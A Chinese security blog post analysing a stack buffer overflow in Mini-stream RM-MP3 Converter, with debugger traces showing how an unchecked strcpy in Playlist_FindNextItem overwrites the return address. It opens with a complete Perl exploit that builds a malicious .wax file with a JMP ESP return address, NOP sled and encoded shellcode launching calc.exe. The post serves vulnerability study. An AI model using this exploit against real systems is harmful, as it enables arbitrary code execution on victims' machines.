作者:k0shl 转载请注明出处:http://whereisk0shl.top
今天是除夕夜了,在这里我给所有关注博客的小伙伴,师傅们拜年了!感谢大家对我博客的支持,新的一年,我将继续保持博客漏洞分析的更新,同时我也会更新一些exploitation以及其他技术研究的内容,为了防止爬取用了静态链接,大家可以关注我的微博http://weibo.cn/k0pwn获取文章地址。希望能继续和大家交流,一起学习进步,也能给我一个向师傅们学习的机会。.
在这里,祝愿大家鸡年大吉,工作顺利,学业进步,身体健康,万事如意,新年技术更上一层楼,0day多多,红包多多!
漏洞说明
软件下载:
https://www.exploit-db.com/apps/1bbf03ec57b1ad30970362518e073215-Mini-streamRM-MP3Converter.exe
PoC:
my $file = "exploit.wax"; #dont change file name if change file name you must change $filepath
my $junk = "\x41" x 43516;
my $eip = "\xC3\x9c\xC8\x75"; #75C89CC3 JMP ESP | bad char: \x09\x0a
my $oyala = "\x90" x 100;
#tested on my windows 7 ultimate for file name "exploit.wax" if its not true path your windows you can change it for you
my $filepath = "\x01\x00\x00\x00\x00\x00\x00\x00". # .......
"\xCA\x84\xB2\x75\x4C\x00\x31\x00". # Ê„²uD.2.
"\x22\x00\x00\x00\x43\x3A\x5C\x55". # "...C:\U
"\x73\x65\x72\x73\x5C\x61\x64\x6D". # sers\adm
"\x69\x6E\x5C\x44\x65\x73\x6B\x74". # in\Deskt
"\x6F\x70\x5C\x65\x78\x70\x6C\x6F". # op\explo
"\x69\x74\x2E\x77\x61\x78\x00\x00"; # it.wax..
#msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | ruby msfencode -e x86/alpha_upper -t c
my $shellcode = "\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43".
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34".
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41".
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30".
"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52".
"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b".
"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50".
"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c".
"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54".
"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b".
"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c".
"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31".
"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47".
"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54".
"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e".
"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30".
"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51".
"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51".
"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45".
"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50".
"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56".
"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a".
"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c".
"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38".
"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b".
"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d".
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d".
"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53".
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43".
"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35".
"\x45\x50\x41\x41";
open ($FILE, ">$file");
print $FILE "$junk.$eip.$oyala.$shellcode.$filepath";
close ($FILE);
调试环境:
windows xp sp3
利用poc生成一个wax文件,然后用漏洞软件打开即可触发漏洞。
漏洞复现
此漏洞是由于Ministream处理文件时,对文件内容没有进行严格的检查,在MiniStream主程序中读取程序,之后进入MSRMfilter03.dll这个动态链接库中调用Playlist_FindNextItem函数处理文件内容,导致了畸形字符串覆盖缓冲区,在函数结束返回时,由于esp被覆盖,导致程序可控。是一个典型的缓冲区溢出漏洞,下面对此漏洞进行详细分析。
首先,在样本构造时,filepath变量需要注意一下。
filepath = ("\x01\x00\x00\x00\x00\x00\x00\x00" #
"\xCA\x84\xB2\x75\x4C\x00\x31\x00" # Ê„²uD2
"\x22\x00\x00\x00\x43\x3A\x5C\x55" # "C:\U
"\x73\x65\x72\x73\x5C\x61\x64\x6D" # sers\adm
"\x69\x6E\x5C\x44\x65\x73\x6B\x74" # in\Deskt
"\x6F\x70\x5C\x65\x78\x70\x6C\x6F" # op\explo
"\x69\x74\x2E\x77\x61\x78\x00\x00") # itwax
这个变量地址不能变,这是程序既定读取内容,需要根据文件路径来规定这个路径,如果想复现这个漏洞的话,这个地址如果系统里没有,可以在C盘下创建一个目录。
样本根据这个路径生成完毕后,用MiniStream打开,程序崩溃,到达漏洞触发位置。
(60c.688): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=41414141 esp=000ff730 ebp=00383d30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
41414141 ?? ???
这里我们通过kb回溯堆栈调用,发现堆栈已经被破坏了,好像大多数栈溢出都会碰到这样的情况。
(60c.688): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=41414141 esp=000ff730 ebp=00383d30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
41414141 ?? ???
这种情况下我们采用od的方法,加载所有模块间调用,根据文件打开操作,寻找一些敏感调用下全局断点来找到漏洞触发前的一个点,根据这种情况,在od中找到了一个fopen函数调用。
找到的模块间的调用, 条目 4509
地址=00435D60
反汇编=call dword ptr ds:[<&MSVCRT.fopen>]
目标文件=msvcrt.fopen
重新加载程序,打开样本,程序中断。
0041D1D7 |. 68 E4734400 push RM2MP3Co.004473E4 ; /mode = "rb"
0041D1DC |. 55 push ebp ; |path =
"C:\Users\admin\Desktop\exploit.wax"
0041D1DD |. FF15 28C74300 call dword ptr ds:[<&MSVCRT.fopen>] ; \fopen
可以看到此时却是是对样本文件的打开操作,再次运行样本,直接到达漏洞现场,那么此处调用应该是漏洞触发前的唯一一次调用,我们就由此入手来分析漏洞形成的原因。
漏洞分析
首先在fopen之后,有一处fread操作,我们通过ida pro来看看fread附近的代码。
.text:0041D1F9 loc_41D1F9: ; CODE XREF: sub_41D010+1DAj
.text:0041D1F9 push esi ; File
.text:0041D1FA push 400h ; Count
.text:0041D1FF lea ecx, [esp+492Ch+DstBuf]
.text:0041D203 push 1 ; ElementSize
.text:0041D205 push ecx ; DstBuf
.text:0041D206 call ds:fread
可以看到,ecx寄存器作为DstBuf,地址中用于保存读取到的文件内容。接下来用windbg跟踪一下这处call调用。
0:000> p
eax=77c2fce0 ebx=00104a58 ecx=000ff748 edx=00386658 esi=77c2fce0 edi=00447418
eip=0041d206 esp=000ff720 ebp=00383d30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RM2MP3Converter+0x1d206:
0041d206 ff1524c74300 call dword ptr [RM2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724=
{msvcrt!fread (77c111fb)}
0:000> p
eax=00000400 ebx=00104a58 ecx=77c1123c edx=00386658 esi=77c2fce0 edi=00447418
eip=0041d20c esp=000ff720 ebp=00383d30 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
RM2MP3Converter+0x1d20c:
0041d20c 6a02 push 2
主要看一下ecx的值,在call调用时,ecx的值为000ff748,这处地址是DstBuf,用于保存文件内容,执行后,我们来看一下这个地址中的值。
0:000> dd 000ff748
000ff748 41414141 41414141 41414141 41414141
000ff758 41414141 41414141 41414141 41414141
000ff768 41414141 41414141 41414141 41414141
000ff778 41414141 41414141 41414141 41414141
000ff788 41414141 41414141 41414141 41414141
000ff798 41414141 41414141 41414141 41414141
000ff7a8 41414141 41414141 41414141 41414141
可以看到,已经读取到了畸形字符串,接下来还有几处fseek和ftell操作,大概就是获取文件长度之类的,接下来继续单步跟踪。
0:000> p
eax=00000001 ebx=00104a58 ecx=00104a58 edx=7c92e4f4 esi=77c2fce0 edi=0000aaec
eip=0041d52b esp=000ff72c ebp=00383d30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
RM2MP3Converter+0x1d52b:
0041d52b e8b0250000 call RM2MP3Converter+0x1fae0 (0041fae0)
0:000> p
(224.714): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=41414141 esp=000ff730 ebp=00383d30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
41414141 ?? ???
在0041d52b地址处的call调用后,程序到达漏洞现场,那么sub_41fae0这个函数很有可能是漏洞出发的关键函数,我们要详细分析一下这个函数的内容。
进入函数之后,继续单步步过,发现这个函数直接可以运行到返回位置,在返回位置,发现了问题。
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=00420215 esp=000f6e0c ebp=00383d30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RM2MP3Converter+0x20215:
00420215 5b pop ebx
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=00420216 esp=000f6e10 ebp=00383d30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RM2MP3Converter+0x20216:
00420216 81c418890000 add esp,8918h
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=0042021c esp=000ff728 ebp=00383d30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
RM2MP3Converter+0x2021c:
0042021c c20400 ret 4
在返回位置,esp的地址出现了问题,我们来看一下。
0:000> dd esp
000ff728 41414141 41414141 41414141 41414141
000ff738 41414141 41414141 41414141 41414141
000ff748 41414141 41414141 41414141 41414141
000ff758 41414141 41414141 41414141 41414141
000ff768 41414141 41414141 41414141 41414141
000ff778 41414141 41414141 41414141 41414141
000ff788 41414141 41414141 41414141 41414141
果然,此时esp的值被41414141覆盖了,也就是说,当ret 4执行时,程序会跳转到esp地址存放的值的地址,也就是41414141,也就是我们可控的位置了。
那么也就是说,在这个函数执行的过程中,某处会导致esp的值被覆盖,要注意一下ret 4执行前,会执行 add esp,8918h ,esp的值会加上8918,那么我们在函数入口观察一下这个值。
Breakpoint 0 hit
eax=00000000 ebx=00104a58 ecx=000f9128 edx=00000004 esi=00383d53 edi=000ff728
eip=0041fc1f esp=000f6e00 ebp=00383d30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RM2MP3Converter+0x1fc1f:
0041fc1f 51 push ecx
0:000> dd esp+8918
000ff718 00000000 00000000 00000000 00000000
000ff728 0041d530 00383d30 00000000 00000006
000ff738 00104a58 00000001 7c9301bb 00000000
000ff748 41414141 41414141 41414141 41414141
000ff758 41414141 41414141 41414141 41414141
000ff768 41414141 41414141 41414141 41414141
000ff778 41414141 41414141 41414141 41414141
000ff788 41414141 41414141 41414141 41414141
可以看到,入口处esp+8918的值还是正常值,也就是说函数中的某处会将这个值覆盖,接下来我们继续单步跟踪,要找到覆盖的位置。
0:000> p
eax=00000000 ebx=00104a58 ecx=000f9128 edx=00000004 esi=00383d53 edi=000ff728
eip=0041fc20 esp=000f6dfc ebp=00383d30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RM2MP3Converter+0x1fc20:
*** WARNING: Unable to verify checksum for C:\Program Files\Mini-stream\Mini-stream RM-MP3
Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Mini-
stream\Mini-stream RM-MP3 Converter\MSRMfilter03.dll -
0041fc20 ff9372640000 call dword ptr [ebx+6472h] ds:0023:0010aeca={MSRMfilter03!
Playlist_FindNextItem (10008d40)}
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=00383d53 edi=000ff728
eip=0041fc26 esp=000f6dfc ebp=00383d30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
RM2MP3Converter+0x1fc26:
0041fc26 83c404 add esp,4
0:000> dd esp+8918
000ff714 41414141 41414141 41414141 41414141
000ff724 41414141 41414141 41414141 41414141
000ff734 41414141 41414141 41414141 41414141
000ff744 41414141 41414141 41414141 41414141
000ff754 41414141 41414141 41414141 41414141
000ff764 41414141 41414141 41414141 41414141
在0041fc20地址,执行了一处call操作,这处call操作后,esp+8918的值改变了,关注一下这处call调用。
这是调用了程序的一个动态链接库MSRMfilter03.dll中的PlayList_FindNextItem函数。
signed int __cdecl Playlist_FindNextItem(char *a1)
{
const char *v1; // eax@1
signed int result; // eax@2
sub_10008DE0(5, aDebugPlaylis_3, (unsigned int)aDMpf2_0Mplayer);
v1 = (const char *)sub_10006850(dword_1004D600, 1);
if ( v1 )
{
strcpy(a1, v1);
sub_10008DE0(5, aDebugPlaylis_4, (unsigned int)aDMpf2_0Mplayer);
result = 1;
}
else
{
sub_10008DE0(5, aDebugPlaylis_5, (unsigned int)aDMpf2_0Mplayer);
result = 0;
}
return result;
}
注意观察v1变量,v1变量赋值后,会进行一次if判断,之后会进入if条件判断中,执行一次strcpy操作,将v1的值交给变量a1,这里非常关键,也是漏洞触发的关键位置。
首先我们先观察v1变量调用sub_10006850函数。
10008d5b 6a01 push 1
10008d5d 50 push eax
10008d5e e8eddaffff call MSRMfilter03+0x6850 (10006850)
10008d63 83c418 add esp,18h
10008d66 85c0 test eax,eax
10008d68 7444 je MSRMfilter03!Playlist_FindNextItem+0x6e (10008dae)
这个函数的两个参数分别是eax和1,所以进入前,我们观察一下eax寄存器。
0:000> dc eax
02ed5748 555c3a43 73726573 6d64615c 445c6e69 C:\Users\admin\D
02ed5758 746b7365 415c706f 41414141 41414141 esktop\AAAAAAAAA
02ed5768 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02ed5778 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02ed5788 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02ed5798 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02ed57a8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02ed57b8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
果然这个eax寄存器此时已经是畸形字符串了,而这处执行完之后,会进入一处条件判断跳转,判断的内容正是执行完call函数后eax的值。
也就是说之前伪代码中的v1,此时会是eax中存放的值。而我们来看一下eax之后的去处。
.text:10008D6C mov edi, eax
.text:10008D6E or ecx, 0FFFFFFFFh
.text:10008D71 xor eax, eax
.text:10008D73 push 0CDh
.text:10008D78 repne scasb
.text:10008D7A not ecx
.text:10008D7C sub edi, ecx
.text:10008D7E push offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D83 mov edx, ecx
.text:10008D85 mov esi, edi
.text:10008D87 mov edi, [esp+10h+arg_0]
.text:10008D8B push offset aDebugPlaylis_4 ; "Debug: Playlist_FindNextItem ok. %s(%u)"
.text:10008D90 shr ecx, 2
.text:10008D93 rep movsd
10008D6C处,eax值会交给edi,之后edi会减去ecx,之后edi值交给esi,之后再10008D93会执行一处esi地址存放的值交给edi的操作,其实这就是strcpy,那么我们来看一下这里。
0:000> p
eax=00000000 ebx=00104a58 ecx=00002ab3 edx=0000aacd esi=02ed5748 edi=000f9128
eip=10008d93 esp=000f6de4 ebp=00383d30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x53:
10008d93 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> p
eax=00000000 ebx=00104a58 ecx=00000000 edx=0000aacd esi=02ee0214 edi=00103bf4
eip=10008d95 esp=000f6de4 ebp=00383d30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x55:
10008d95 8bca mov ecx,edx
0:000> dd esp+8918
000ff6fc 41414141 41414141 41414141 41414141
000ff70c 41414141 41414141 41414141 41414141
000ff71c 41414141 41414141 41414141 41414141
000ff72c 41414141 41414141 41414141 41414141
000ff73c 41414141 41414141 41414141 41414141
000ff74c 41414141 41414141 41414141 41414141
可以看到strcpy之后,esp的值被覆盖了,当函数返回,即可到达用户可控的地址,执行恶意代码。
老师,怎么利用POC生成样本文件啊?